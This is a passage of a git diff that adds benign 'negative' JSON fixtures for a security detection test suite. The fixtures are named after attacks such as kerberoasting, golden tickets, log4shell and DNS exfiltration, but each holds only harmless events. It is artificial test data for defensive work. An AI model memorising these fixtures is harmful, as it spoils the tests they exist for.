Data\\Default\\Bookmarks",+ "host": "wks-001",+ "image": "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe"+}diff --git a/detections/fixtures/negative/browser-extension-installed-suspicious.json b/detections/fixtures/negative/browser-extension-installed-suspicious.jsonnew file mode 100644index 000000000..583e328af--- /dev/null+++ b/detections/fixtures/negative/browser-extension-installed-suspicious.json@@ -0,0 +1,5 @@+{+ "command_line": "chrome.exe --new-tab",+ "host": "wks-001",+ "image_basename": "chrome.exe"+}diff --git a/detections/fixtures/negative/brute-force-login.json b/detections/fixtures/negative/brute-force-login.jsonnew file mode 100644index 000000000..166e548e2--- /dev/null+++ b/detections/fixtures/negative/brute-force-login.json@@ -0,0 +1,7 @@+{+ "event_type": "user.session.start",+ "fail_count": 2,+ "outcome": "FAILURE",+ "time_window_minutes": 30,+ "user": "[email protected]"+}diff --git a/detections/fixtures/negative/bulk-msg-export-mail.json b/detections/fixtures/negative/bulk-msg-export-mail.jsonnew file mode 100644index 000000000..b9c213b22--- /dev/null+++ b/detections/fixtures/negative/bulk-msg-export-mail.json@@ -0,0 +1,5 @@+{+ "actor": "[email protected]",+ "operation_name": "Search-Mailbox -EstimateResultOnly",+ "target": "[email protected]"+}diff --git a/detections/fixtures/negative/bulk-zip-on-fileserver.json b/detections/fixtures/negative/bulk-zip-on-fileserver.jsonnew file mode 100644index 000000000..7349c8138--- /dev/null+++ b/detections/fixtures/negative/bulk-zip-on-fileserver.json@@ -0,0 +1,7 @@+{+ "event_type": "FileCreate",+ "file_path": "C:\\share\\report.docx",+ "host": "fs-01",+ "host_role": "fileserver",+ "zip_size_bytes": null+}diff --git a/detections/fixtures/negative/c2-beacon-high-frequency.json b/detections/fixtures/negative/c2-beacon-high-frequency.jsonnew file mode 100644index 000000000..e25e7a1f0--- /dev/null+++ b/detections/fixtures/negative/c2-beacon-high-frequency.json@@ -0,0 +1,7 @@+{+ "connection_count": 12,+ "destination_ip": "203.0.113.7",+ "interval_consistency": 0.4,+ "interval_seconds": 30,+ "time_window_minutes": 30+}diff --git a/detections/fixtures/negative/ca-policy-scope-broadened.json b/detections/fixtures/negative/ca-policy-scope-broadened.jsonnew file mode 100644index 000000000..4c05d1db6--- /dev/null+++ b/detections/fixtures/negative/ca-policy-scope-broadened.json@@ -0,0 +1,5 @@+{+ "operation_name": "Update conditional access policy",+ "policy_change": "exclusion-removed",+ "policy_name": "MFA-required"+}diff --git a/detections/fixtures/negative/ci-secret-printed-to-log.json b/detections/fixtures/negative/ci-secret-printed-to-log.jsonnew file mode 100644index 000000000..8976f955c--- /dev/null+++ b/detections/fixtures/negative/ci-secret-printed-to-log.json@@ -0,0 +1,5 @@+{+ "actor": "[email protected]",+ "job": "deploy-prod",+ "log_line": "Build complete in 42s"+}diff --git a/detections/fixtures/negative/cloud-container-registry-public.json b/detections/fixtures/negative/cloud-container-registry-public.jsonnew file mode 100644index 000000000..3c691d208--- /dev/null+++ b/detections/fixtures/negative/cloud-container-registry-public.json@@ -0,0 +1,5 @@+{+ "event_name": "UpdateRepositoryVisibility",+ "repo": "internal-tooling",+ "visibility": "private"+}diff --git a/detections/fixtures/negative/cloud-cross-account-trust-add.json b/detections/fixtures/negative/cloud-cross-account-trust-add.jsonnew file mode 100644index 000000000..264ac97a2--- /dev/null+++ b/detections/fixtures/negative/cloud-cross-account-trust-add.json@@ -0,0 +1,6 @@+{+ "event_name": "UpdateAssumeRolePolicy",+ "external_account_in_allowlist": true,+ "role": "prod-admin",+ "trusted_principal_external_account": false+}diff --git a/detections/fixtures/negative/cloud-internet-load-balancer-no-waf.json b/detections/fixtures/negative/cloud-internet-load-balancer-no-waf.jsonnew file mode 100644index 000000000..c91a2c1e8--- /dev/null+++ b/detections/fixtures/negative/cloud-internet-load-balancer-no-waf.json@@ -0,0 +1,6 @@+{+ "event_name": "CreateLoadBalancer",+ "lb": "prod-api",+ "scheme": "internet-facing",+ "waf_attached": true+}diff --git a/detections/fixtures/negative/cloud-secrets-in-env.json b/detections/fixtures/negative/cloud-secrets-in-env.jsonnew file mode 100644index 000000000..d25f8bebc--- /dev/null+++ b/detections/fixtures/negative/cloud-secrets-in-env.json@@ -0,0 +1,5 @@+{+ "container": "billing-svc",+ "env_has_secret": false,+ "event_name": "DeployContainer"+}diff --git a/detections/fixtures/negative/cloud-tfstate-public.json b/detections/fixtures/negative/cloud-tfstate-public.jsonnew file mode 100644index 000000000..19658ef3a--- /dev/null+++ b/detections/fixtures/negative/cloud-tfstate-public.json@@ -0,0 +1,5 @@+{+ "bucket": "ops-iac",+ "bucket_visibility": "private",+ "object_path": "iac/prod/main.tfstate"+}diff --git a/detections/fixtures/negative/command-injection.json b/detections/fixtures/negative/command-injection.jsonnew file mode 100644index 000000000..98fec2b8c--- /dev/null+++ b/detections/fixtures/negative/command-injection.json@@ -0,0 +1,4 @@+{+ "host": "app.corp.com",+ "request_uri": "/ping?host=10.0.0.5"+}diff --git a/detections/fixtures/negative/container-image-pulled-untrusted-registry.json b/detections/fixtures/negative/container-image-pulled-untrusted-registry.jsonnew file mode 100644index 000000000..b4448c4f0--- /dev/null+++ b/detections/fixtures/negative/container-image-pulled-untrusted-registry.json@@ -0,0 +1,7 @@+{+ "image": "registry.corp.com/svc:1.2.3",+ "image_registry_in_allowlist": true,+ "namespace": "production",+ "object_resource": "pods",+ "verb": "create"+}diff --git a/detections/fixtures/negative/container-mass-image-export.json b/detections/fixtures/negative/container-mass-image-export.jsonnew file mode 100644index 000000000..46a61e1ee--- /dev/null+++ b/detections/fixtures/negative/container-mass-image-export.json@@ -0,0 +1,7 @@+{+ "dst_registry_in_allowlist": true,+ "event_type": "image.push",+ "image_count_per_principal": 1,+ "principal": "[email protected]",+ "time_window_minutes": 60+}diff --git a/detections/fixtures/negative/container-mount-host-fs.json b/detections/fixtures/negative/container-mount-host-fs.jsonnew file mode 100644index 000000000..726b5ae4c--- /dev/null+++ b/detections/fixtures/negative/container-mount-host-fs.json@@ -0,0 +1,7 @@+{+ "namespace": "kube-system",+ "object_resource": "pods",+ "user": "system:nodes",+ "verb": "create",+ "volume_path": "/var/log"+}diff --git a/detections/fixtures/negative/container-privileged-launch.json b/detections/fixtures/negative/container-privileged-launch.jsonnew file mode 100644index 000000000..03a066cd2--- /dev/null+++ b/detections/fixtures/negative/container-privileged-launch.json@@ -0,0 +1,5 @@+{+ "command_line": "docker run --rm alpine sh",+ "host": "node-01",+ "image_basename": "docker"+}diff --git a/detections/fixtures/negative/credential-dumping-lsass.json b/detections/fixtures/negative/credential-dumping-lsass.jsonnew file mode 100644index 000000000..081eb4c1e--- /dev/null+++ b/detections/fixtures/negative/credential-dumping-lsass.json@@ -0,0 +1,6 @@+{+ "granted_access_mask": "0x1010",+ "source_image": "C:\\Program Files\\Microsoft Defender\\MsMpEng.exe",+ "source_image_not_in_allowlist": false,+ "target_image": "C:\\Windows\\System32\\lsass.exe"+}diff --git a/detections/fixtures/negative/cronjob-suspicious-path.json b/detections/fixtures/negative/cronjob-suspicious-path.jsonnew file mode 100644index 000000000..9ce9af2f3--- /dev/null+++ b/detections/fixtures/negative/cronjob-suspicious-path.json@@ -0,0 +1,6 @@+{+ "command_text": "logrotate /etc/logrotate.conf",+ "event_type": "PATH",+ "file_path": "/etc/cron.daily/logrotate",+ "host": "linux-01"+}diff --git a/detections/fixtures/negative/csrf-on-sensitive-mutation.json b/detections/fixtures/negative/csrf-on-sensitive-mutation.jsonnew file mode 100644index 000000000..c94f8a8a7--- /dev/null+++ b/detections/fixtures/negative/csrf-on-sensitive-mutation.json@@ -0,0 +1,8 @@+{+ "host": "app.corp.com",+ "method": "POST",+ "origin_present": true,+ "referer_present": true,+ "request_uri": "/account/email",+ "request_uri_in_sensitive_paths": true+}diff --git a/detections/fixtures/negative/data-share-external-domain.json b/detections/fixtures/negative/data-share-external-domain.jsonnew file mode 100644index 000000000..a1b0f005d--- /dev/null+++ b/detections/fixtures/negative/data-share-external-domain.json@@ -0,0 +1,7 @@+{+ "event_type": "drive.acl.change",+ "share_target_domain": "approved-partner.com",+ "share_target_domain_in_allowlist": true,+ "share_target_external": true,+ "user": "[email protected]"+}diff --git a/detections/fixtures/negative/db-mass-row-read.json b/detections/fixtures/negative/db-mass-row-read.jsonnew file mode 100644index 000000000..ea5366327--- /dev/null+++ b/detections/fixtures/negative/db-mass-row-read.json@@ -0,0 +1,6 @@+{+ "baseline_z_score": 0.4,+ "event_type": "SQL_SELECT",+ "rows_read_per_session": 50,+ "user": "[email protected]"+}diff --git a/detections/fixtures/negative/ddos-syn-flood.json b/detections/fixtures/negative/ddos-syn-flood.jsonnew file mode 100644index 000000000..882b82d55--- /dev/null+++ b/detections/fixtures/negative/ddos-syn-flood.json@@ -0,0 +1,6 @@+{+ "dst_ip": "203.0.113.10",+ "syn_count_per_dst": 30,+ "tcp_flag": "SYN",+ "time_window_minutes": 60+}diff --git a/detections/fixtures/negative/default-credential-login.json b/detections/fixtures/negative/default-credential-login.jsonnew file mode 100644index 000000000..d84b26ff9--- /dev/null+++ b/detections/fixtures/negative/default-credential-login.json@@ -0,0 +1,7 @@+{+ "event_type": "ssh-accept",+ "host": "appliance-01",+ "outcome": "SUCCESS",+ "user": "real-employee",+ "user_in_default_list": false+}diff --git a/detections/fixtures/negative/dependency-confusion-fetch.json b/detections/fixtures/negative/dependency-confusion-fetch.jsonnew file mode 100644index 000000000..ae1521a2a--- /dev/null+++ b/detections/fixtures/negative/dependency-confusion-fetch.json@@ -0,0 +1,5 @@+{+ "package_name": "@corp-internal/util",+ "package_name_in_internal_namespace": true,+ "package_source": "internal-registry"+}diff --git a/detections/fixtures/negative/deserialization-attack.json b/detections/fixtures/negative/deserialization-attack.jsonnew file mode 100644index 000000000..33206c011--- /dev/null+++ b/detections/fixtures/negative/deserialization-attack.json@@ -0,0 +1,4 @@+{+ "host": "app.corp.com",+ "request_body": "{\"name\":\"alice\"}"+}diff --git a/detections/fixtures/negative/dhcp-rogue-server.json b/detections/fixtures/negative/dhcp-rogue-server.jsonnew file mode 100644index 000000000..31297400c--- /dev/null+++ b/detections/fixtures/negative/dhcp-rogue-server.json@@ -0,0 +1,5 @@+{+ "event_type": "DHCP_OFFER",+ "src_mac": "00:11:22:33:44:55",+ "src_mac_in_allowed_dhcp": true+}diff --git a/detections/fixtures/negative/disabled-account-login-attempt.json b/detections/fixtures/negative/disabled-account-login-attempt.jsonnew file mode 100644index 000000000..4f16dedd2--- /dev/null+++ b/detections/fixtures/negative/disabled-account-login-attempt.json@@ -0,0 +1,5 @@+{+ "event_type": "user.session.start",+ "user": "[email protected]",+ "user_state": "ACTIVE"+}diff --git a/detections/fixtures/negative/dns-data-exfiltration.json b/detections/fixtures/negative/dns-data-exfiltration.jsonnew file mode 100644index 000000000..5fe59aa57--- /dev/null+++ b/detections/fixtures/negative/dns-data-exfiltration.json@@ -0,0 +1,7 @@+{+ "avg_subdomain_len": 18,+ "parent_domain": "google.com",+ "query_count": 30,+ "src_host": "wks-001",+ "time_window_minutes": 60+}diff --git a/detections/fixtures/negative/dns-fast-flux.json b/detections/fixtures/negative/dns-fast-flux.jsonnew file mode 100644index 000000000..f3314fd94--- /dev/null+++ b/detections/fixtures/negative/dns-fast-flux.json@@ -0,0 +1,6 @@+{+ "distinct_a_records": 4,+ "domain": "company-cdn.tld",+ "time_window_hours": 24,+ "ttl_seconds": 300+}diff --git a/detections/fixtures/negative/dns-over-https-rare.json b/detections/fixtures/negative/dns-over-https-rare.jsonnew file mode 100644index 000000000..93a3c468b--- /dev/null+++ b/detections/fixtures/negative/dns-over-https-rare.json@@ -0,0 +1,7 @@+{+ "dst_host": "1.1.1.1",+ "dst_in_doh_allowlist": true,+ "method": "POST",+ "src_host": "wks-001",+ "url_path": "/dns-query"+}diff --git a/detections/fixtures/negative/domain-password-policy-weakened.json b/detections/fixtures/negative/domain-password-policy-weakened.jsonnew file mode 100644index 000000000..3a7788509--- /dev/null+++ b/detections/fixtures/negative/domain-password-policy-weakened.json@@ -0,0 +1,5 @@+{+ "event_id": 4739,+ "policy_change": "min-length-increased",+ "user": "[email protected]"+}diff --git a/detections/fixtures/negative/drivers-loaded-suspicious.json b/detections/fixtures/negative/drivers-loaded-suspicious.jsonnew file mode 100644index 000000000..9275a1be2--- /dev/null+++ b/detections/fixtures/negative/drivers-loaded-suspicious.json@@ -0,0 +1,6 @@+{+ "driver_basename": "ntoskrnl.exe",+ "driver_hash_in_byovd_list": false,+ "event_type": "DriverLoad",+ "host": "wks-001"+}diff --git a/detections/fixtures/negative/edr-unload-attempt.json b/detections/fixtures/negative/edr-unload-attempt.jsonnew file mode 100644index 000000000..b0c505a58--- /dev/null+++ b/detections/fixtures/negative/edr-unload-attempt.json@@ -0,0 +1,6 @@+{+ "actor": "[email protected]",+ "event_type": "ServiceStart",+ "host": "wks-001",+ "service_name": "WinDefend"+}diff --git a/detections/fixtures/negative/egress-spike-baseline.json b/detections/fixtures/negative/egress-spike-baseline.jsonnew file mode 100644index 000000000..5b04c39a3--- /dev/null+++ b/detections/fixtures/negative/egress-spike-baseline.json@@ -0,0 +1,5 @@+{+ "baseline_z_score": 0.8,+ "bytes_out_per_src": 50000000,+ "src_host": "wks-001"+}diff --git a/detections/fixtures/negative/egress-to-blocklisted-ip.json b/detections/fixtures/negative/egress-to-blocklisted-ip.jsonnew file mode 100644index 000000000..1a49aa5e0--- /dev/null+++ b/detections/fixtures/negative/egress-to-blocklisted-ip.json@@ -0,0 +1,5 @@+{+ "dst_in_blocklist": false,+ "dst_ip": "1.1.1.1",+ "src_host": "wks-001"+}diff --git a/detections/fixtures/negative/egress-to-rare-asn.json b/detections/fixtures/negative/egress-to-rare-asn.jsonnew file mode 100644index 000000000..9e03c9b3e--- /dev/null+++ b/detections/fixtures/negative/egress-to-rare-asn.json@@ -0,0 +1,6 @@+{+ "dst_asn": "AS15169",+ "dst_asn_seen_count": 5000,+ "src_host": "wks-001",+ "time_window_days": 90+}diff --git a/detections/fixtures/negative/encrypted-archive-attachment.json b/detections/fixtures/negative/encrypted-archive-attachment.jsonnew file mode 100644index 000000000..cb8195e47--- /dev/null+++ b/detections/fixtures/negative/encrypted-archive-attachment.json@@ -0,0 +1,6 @@+{+ "attachment_encrypted": false,+ "from": "[email protected]",+ "to": "[email protected]",+ "to_external": true+}diff --git a/detections/fixtures/negative/etw-tampering.json b/detections/fixtures/negative/etw-tampering.jsonnew file mode 100644index 000000000..9aec98bbe--- /dev/null+++ b/detections/fixtures/negative/etw-tampering.json@@ -0,0 +1,5 @@+{+ "command_line": "wevtutil.exe el",+ "host": "wks-001",+ "image_basename": "wevtutil.exe"+}diff --git a/detections/fixtures/negative/exchange-mail-forward-external.json b/detections/fixtures/negative/exchange-mail-forward-external.jsonnew file mode 100644index 000000000..1e87881a5--- /dev/null+++ b/detections/fixtures/negative/exchange-mail-forward-external.json@@ -0,0 +1,6 @@+{+ "forward_destination_external": false,+ "forward_to": "team-folder",+ "operation_name": "New-InboxRule",+ "user": "[email protected]"+}diff --git a/detections/fixtures/negative/expired-credential-reuse.json b/detections/fixtures/negative/expired-credential-reuse.jsonnew file mode 100644index 000000000..d4efab765--- /dev/null+++ b/detections/fixtures/negative/expired-credential-reuse.json@@ -0,0 +1,5 @@+{+ "credential_state": "VALID",+ "event_type": "user.session.start",+ "user": "[email protected]"+}diff --git a/detections/fixtures/negative/federated-trust-modified.json b/detections/fixtures/negative/federated-trust-modified.jsonnew file mode 100644index 000000000..d829e4652--- /dev/null+++ b/detections/fixtures/negative/federated-trust-modified.json@@ -0,0 +1,4 @@+{+ "domain": "corp.com",+ "operation_name": "Verify domain"+}diff --git a/detections/fixtures/negative/federation-cross-tenant-access.json b/detections/fixtures/negative/federation-cross-tenant-access.jsonnew file mode 100644index 000000000..ba103de0b--- /dev/null+++ b/detections/fixtures/negative/federation-cross-tenant-access.json@@ -0,0 +1,4 @@+{+ "operation_name": "Update cross-tenant access policy",+ "partner_tenant": "allowlisted-partner-tenant"+}diff --git a/detections/fixtures/negative/firewall-disabled-host.json b/detections/fixtures/negative/firewall-disabled-host.jsonnew file mode 100644index 000000000..28451a34d--- /dev/null+++ b/detections/fixtures/negative/firewall-disabled-host.json@@ -0,0 +1,5 @@+{+ "command_line": "netsh advfirewall show allprofiles",+ "host": "wks-001",+ "image_basename": "netsh.exe"+}diff --git a/detections/fixtures/negative/ftp-outbound-anomaly.json b/detections/fixtures/negative/ftp-outbound-anomaly.jsonnew file mode 100644index 000000000..f7a817dd6--- /dev/null+++ b/detections/fixtures/negative/ftp-outbound-anomaly.json@@ -0,0 +1,7 @@+{+ "bytes_out": 50000,+ "dst_port": 21,+ "protocol": "TCP",+ "src_host": "filexfer-01",+ "src_in_allowlist": true+}diff --git a/detections/fixtures/negative/gcp-audit-log-sink-disabled.json b/detections/fixtures/negative/gcp-audit-log-sink-disabled.jsonnew file mode 100644index 000000000..5c2e0f9b0--- /dev/null+++ b/detections/fixtures/negative/gcp-audit-log-sink-disabled.json@@ -0,0 +1,5 @@+{+ "method_name": "google.logging.v2.ConfigServiceV2.CreateSink",+ "principal": "[email protected]",+ "sink": "org-default"+}diff --git a/detections/fixtures/negative/gcp-bigquery-dataset-public.json b/detections/fixtures/negative/gcp-bigquery-dataset-public.jsonnew file mode 100644index 000000000..e85203b2b--- /dev/null+++ b/detections/fixtures/negative/gcp-bigquery-dataset-public.json@@ -0,0 +1,5 @@+{+ "dataset": "customer_metrics",+ "iam_member": "user:[email protected]",+ "method_name": "google.cloud.bigquery.v2.DatasetService.UpdateDataset"+}diff --git a/detections/fixtures/negative/gcp-firewall-rule-allow-all.json b/detections/fixtures/negative/gcp-firewall-rule-allow-all.jsonnew file mode 100644index 000000000..f0f53e011--- /dev/null+++ b/detections/fixtures/negative/gcp-firewall-rule-allow-all.json@@ -0,0 +1,6 @@+{+ "fw": "prod-bastion",+ "method_name": "compute.firewalls.insert",+ "port": 22,+ "source_range": "10.0.0.0/8"+}diff --git a/detections/fixtures/negative/gcp-gcs-bucket-public.json b/detections/fixtures/negative/gcp-gcs-bucket-public.jsonnew file mode 100644index 000000000..de39dafc5--- /dev/null+++ b/detections/fixtures/negative/gcp-gcs-bucket-public.json@@ -0,0 +1,5 @@+{+ "bucket": "customer-data",+ "iam_member": "user:[email protected]",+ "method_name": "storage.setIamPermissions"+}diff --git a/detections/fixtures/negative/gcp-iam-primitive-role-grant.json b/detections/fixtures/negative/gcp-iam-primitive-role-grant.jsonnew file mode 100644index 000000000..771ad4ef8--- /dev/null+++ b/detections/fixtures/negative/gcp-iam-primitive-role-grant.json@@ -0,0 +1,6 @@+{+ "method_name": "SetIamPolicy",+ "principal": "[email protected]",+ "project": "prod",+ "role": "roles/storage.objectViewer"+}diff --git a/detections/fixtures/negative/gcp-org-policy-modified.json b/detections/fixtures/negative/gcp-org-policy-modified.jsonnew file mode 100644index 000000000..9a73d09cd--- /dev/null+++ b/detections/fixtures/negative/gcp-org-policy-modified.json@@ -0,0 +1,5 @@+{+ "method_name": "google.cloud.orgpolicy.v2.OrgPolicy.GetEffectivePolicy",+ "policy": "compute.requireOsLogin",+ "principal": "[email protected]"+}diff --git a/detections/fixtures/negative/gcp-project-deletion.json b/detections/fixtures/negative/gcp-project-deletion.jsonnew file mode 100644index 000000000..37b0cd079--- /dev/null+++ b/detections/fixtures/negative/gcp-project-deletion.json@@ -0,0 +1,5 @@+{+ "method_name": "UndeleteProject",+ "principal": "[email protected]",+ "project": "prod-revenue"+}diff --git a/detections/fixtures/negative/gcp-secret-manager-mass-export.json b/detections/fixtures/negative/gcp-secret-manager-mass-export.jsonnew file mode 100644index 000000000..7cfc5724d--- /dev/null+++ b/detections/fixtures/negative/gcp-secret-manager-mass-export.json@@ -0,0 +1,6 @@+{+ "method_name": "google.cloud.secretmanager.v1.SecretManagerService.AccessSecretVersion",+ "principal": "[email protected]",+ "secret_count_per_principal": 3,+ "time_window_minutes": 30+}diff --git a/detections/fixtures/negative/gcp-service-account-impersonation.json b/detections/fixtures/negative/gcp-service-account-impersonation.jsonnew file mode 100644index 000000000..251e050de--- /dev/null+++ b/detections/fixtures/negative/gcp-service-account-impersonation.json@@ -0,0 +1,6 @@+{+ "impersonator": "[email protected]",+ "impersonator_in_allowlist": true,+ "method_name": "GenerateAccessToken",+ "target_sa": "[email protected]"+}diff --git a/detections/fixtures/negative/gcp-service-account-key-created.json b/detections/fixtures/negative/gcp-service-account-key-created.jsonnew file mode 100644index 000000000..dbc2250d2--- /dev/null+++ b/detections/fixtures/negative/gcp-service-account-key-created.json@@ -0,0 +1,4 @@+{+ "method_name": "google.iam.admin.v1.UpdateServiceAccount",+ "sa_email": "[email protected]"+}diff --git a/detections/fixtures/negative/github-pii-pattern-push.json b/detections/fixtures/negative/github-pii-pattern-push.jsonnew file mode 100644index 000000000..b383b65f7--- /dev/null+++ b/detections/fixtures/negative/github-pii-pattern-push.json@@ -0,0 +1,6 @@+{+ "action": "git.push",+ "actor": "[email protected]",+ "diff_text": "+ // refactor: rename helper",+ "ref": "refs/heads/main"+}diff --git a/detections/fixtures/negative/github-protected-branch-bypass.json b/detections/fixtures/negative/github-protected-branch-bypass.jsonnew file mode 100644index 000000000..3a0b64acb--- /dev/null+++ b/detections/fixtures/negative/github-protected-branch-bypass.json@@ -0,0 +1,7 @@+{+ "action": "git.push",+ "actor": "[email protected]",+ "actor_role": "developer",+ "ref": "refs/heads/feature-x",+ "ref_in_protected_branches": false+}diff --git a/detections/fixtures/negative/github-public-repo-flip.json b/detections/fixtures/negative/github-public-repo-flip.jsonnew file mode 100644index 000000000..9d57d0321--- /dev/null+++ b/detections/fixtures/negative/github-public-repo-flip.json@@ -0,0 +1,6 @@+{+ "action": "repo.visibility_change",+ "actor": "[email protected]",+ "repo": "internal-tooling",+ "visibility": "private"+}diff --git a/detections/fixtures/negative/gitlab-runner-shared-tag.json b/detections/fixtures/negative/gitlab-runner-shared-tag.jsonnew file mode 100644index 000000000..96d04e2db--- /dev/null+++ b/detections/fixtures/negative/gitlab-runner-shared-tag.json@@ -0,0 +1,5 @@+{+ "actor": "[email protected]",+ "event_type": "runners.register",+ "runner_scope": "project"+}diff --git a/detections/fixtures/negative/golden-ticket.json b/detections/fixtures/negative/golden-ticket.jsonnew file mode 100644index 000000000..23cd7e28c--- /dev/null+++ b/detections/fixtures/negative/golden-ticket.json@@ -0,0 +1,6 @@+{+ "event_id": 4624,+ "logon_type": 3,+ "ticket_lifetime_hours": 8,+ "user": "[email protected]"+}diff --git a/detections/fixtures/negative/graphql-introspection.json b/detections/fixtures/negative/graphql-introspection.jsonnew file mode 100644index 000000000..2e8543812--- /dev/null+++ b/detections/fixtures/negative/graphql-introspection.json@@ -0,0 +1,5 @@+{+ "host": "api.corp.com",+ "request_body": "{me{id}}",+ "request_uri": "/graphql"+}diff --git a/detections/fixtures/negative/group-policy-modification.json b/detections/fixtures/negative/group-policy-modification.jsonnew file mode 100644index 000000000..7daf8fe97--- /dev/null+++ b/detections/fixtures/negative/group-policy-modification.json@@ -0,0 +1,4 @@+{+ "event_id": 4624,+ "user": "[email protected]"+}diff --git a/detections/fixtures/negative/host-files-modified.json b/detections/fixtures/negative/host-files-modified.jsonnew file mode 100644index 000000000..98edafd7a--- /dev/null+++ b/detections/fixtures/negative/host-files-modified.json@@ -0,0 +1,6 @@+{+ "actor": "[email protected]",+ "event_type": "FileWrite",+ "file_path": "C:\\Users\\dev\\dev-hosts.bak",+ "host": "wks-001"+}diff --git a/detections/fixtures/negative/iam-policy-detach-defense.json b/detections/fixtures/negative/iam-policy-detach-defense.jsonnew file mode 100644index 000000000..927b08c5c--- /dev/null+++ b/detections/fixtures/negative/iam-policy-detach-defense.json@@ -0,0 +1,5 @@+{+ "event_name": "DetachRolePolicy",+ "policy_name": "ReadOnlyAccess",+ "role": "deploy-bot"+}diff --git a/detections/fixtures/negative/icmp-tunnel.json b/detections/fixtures/negative/icmp-tunnel.jsonnew file mode 100644index 000000000..cd4589fd4--- /dev/null+++ b/detections/fixtures/negative/icmp-tunnel.json@@ -0,0 +1,7 @@+{+ "avg_payload_bytes": 32,+ "packet_count": 10,+ "protocol": "ICMP",+ "src_host": "wks-001",+ "time_window_minutes": 60+}diff --git a/detections/fixtures/negative/idp-metadata-changed.json b/detections/fixtures/negative/idp-metadata-changed.jsonnew file mode 100644index 000000000..56a2cb642--- /dev/null+++ b/detections/fixtures/negative/idp-metadata-changed.json@@ -0,0 +1,4 @@+{+ "app": "salesforce",+ "event_type": "app.idp.lifecycle.activate"+}diff --git a/detections/fixtures/negative/image-load-suspicious-signing.json b/detections/fixtures/negative/image-load-suspicious-signing.jsonnew file mode 100644index 000000000..54e9183e1--- /dev/null+++ b/detections/fixtures/negative/image-load-suspicious-signing.json@@ -0,0 +1,6 @@+{+ "event_type": "ImageLoad",+ "host": "wks-001",+ "image_basename_loaded": "kernel32.dll",+ "signature_status": "Valid"+}diff --git a/detections/fixtures/negative/impossible-travel.json b/detections/fixtures/negative/impossible-travel.jsonnew file mode 100644index 000000000..f993b9374--- /dev/null+++ b/detections/fixtures/negative/impossible-travel.json@@ -0,0 +1,7 @@+{+ "event_type": "user.session.start",+ "outcome": "SUCCESS",+ "time_delta_minutes": 240,+ "travel_speed_kmh": 12,+ "user": "[email protected]"+}diff --git a/detections/fixtures/negative/internal-host-spamming-mail.json b/detections/fixtures/negative/internal-host-spamming-mail.jsonnew file mode 100644index 000000000..a36e09891--- /dev/null+++ b/detections/fixtures/negative/internal-host-spamming-mail.json@@ -0,0 +1,7 @@+{+ "dst_port": 25,+ "protocol": "TCP",+ "smtp_count_per_src": 8,+ "src_host": "marketing-mailer",+ "time_window_minutes": 60+}diff --git a/detections/fixtures/negative/ipv6-tunnel-outbound.json b/detections/fixtures/negative/ipv6-tunnel-outbound.jsonnew file mode 100644index 000000000..43badf92d--- /dev/null+++ b/detections/fixtures/negative/ipv6-tunnel-outbound.json@@ -0,0 +1,5 @@+{+ "dst_port": 53,+ "protocol": "UDP",+ "src_host": "wks-001"+}diff --git a/detections/fixtures/negative/jit-elevation-abuse.json b/detections/fixtures/negative/jit-elevation-abuse.jsonnew file mode 100644index 000000000..fd80b0acb--- /dev/null+++ b/detections/fixtures/negative/jit-elevation-abuse.json@@ -0,0 +1,5 @@+{+ "elevation_duration_minutes": 60,+ "event_type": "user.privilege.elevate",+ "user": "[email protected]"+}diff --git a/detections/fixtures/negative/jwt-none-alg.json b/detections/fixtures/negative/jwt-none-alg.jsonnew file mode 100644index 000000000..f21cbe9cb--- /dev/null+++ b/detections/fixtures/negative/jwt-none-alg.json@@ -0,0 +1,5 @@+{+ "authorization_header": "Bearer signed.jwt.value",+ "authorization_header_jwt_alg": "RS256",+ "host": "api.corp.com"+}diff --git a/detections/fixtures/negative/kerberoasting.json b/detections/fixtures/negative/kerberoasting.jsonnew file mode 100644index 000000000..0bea431c3--- /dev/null+++ b/detections/fixtures/negative/kerberoasting.json@@ -0,0 +1,7 @@+{+ "event_id": 4769,+ "spn_count_per_user": 1,+ "ticket_encryption": "AES256-CTS-HMAC-SHA1-96",+ "time_window_minutes": 60,+ "user": "[email protected]"+}diff --git a/detections/fixtures/negative/kerberos-encryption-downgrade.json b/detections/fixtures/negative/kerberos-encryption-downgrade.jsonnew file mode 100644index 000000000..a2e2ba41a--- /dev/null+++ b/detections/fixtures/negative/kerberos-encryption-downgrade.json@@ -0,0 +1,5 @@+{+ "event_id": 4768,+ "ticket_encryption": "AES256-CTS-HMAC-SHA1-96",+ "user": "[email protected]"+}diff --git a/detections/fixtures/negative/kernel-module-load-suspicious.json b/detections/fixtures/negative/kernel-module-load-suspicious.jsonnew file mode 100644index 000000000..81c219fdf--- /dev/null+++ b/detections/fixtures/negative/kernel-module-load-suspicious.json@@ -0,0 +1,5 @@+{+ "event_type": "MODULE",+ "host": "linux-01",+ "module_path": "/lib/modules/5.15.0/kernel/fs/nfs.ko"+}diff --git a/detections/fixtures/negative/kube-exec-into-prod-pod.json b/detections/fixtures/negative/kube-exec-into-prod-pod.jsonnew file mode 100644index 000000000..a81006844--- /dev/null+++ b/detections/fixtures/negative/kube-exec-into-prod-pod.json@@ -0,0 +1,8 @@+{+ "namespace": "production",+ "object_resource": "pods",+ "subresource": "exec",+ "user": "[email protected]",+ "user_role": "operator",+ "verb": "create"+}diff --git a/detections/fixtures/negative/large-egress-personal-cloud.json b/detections/fixtures/negative/large-egress-personal-cloud.jsonnew file mode 100644index 000000000..1b6eb8f45--- /dev/null+++ b/detections/fixtures/negative/large-egress-personal-cloud.json@@ -0,0 +1,7 @@+{+ "bytes_out": 500000000,+ "dst_host": "corp-backup.com",+ "dst_in_personal_cloud_list": false,+ "src_host": "wks-001",+ "time_window_minutes": 30+}diff --git a/detections/fixtures/negative/ldap-bind-anomaly.json b/detections/fixtures/negative/ldap-bind-anomaly.jsonnew file mode 100644index 000000000..bf3ebb01a--- /dev/null+++ b/detections/fixtures/negative/ldap-bind-anomaly.json@@ -0,0 +1,6 @@+{+ "event_id": 1644,+ "ldap_query_count_per_src": 8,+ "src_host": "wks-001",+ "time_window_minutes": 60+}diff --git a/detections/fixtures/negative/log4shell.json b/detections/fixtures/negative/log4shell.jsonnew file mode 100644index 000000000..6e9fc47b4--- /dev/null+++ b/detections/fixtures/negative/log4shell.json@@ -0,0 +1,4 @@+{+ "header_value": "Mozilla/5.0",+ "host": "app.corp.com"+}diff --git a/detections/fixtures/negative/login-anonymous-ip.json b/detections/fixtures/negative/login-anonymous-ip.jsonnew file mode 100644index 000000000..ccd7058bc--- /dev/null+++ b/detections/fixtures/negative/login-anonymous-ip.json@@ -0,0 +1,5 @@+{+ "event_type": "user.session.start",+ "ip_anonymizer": 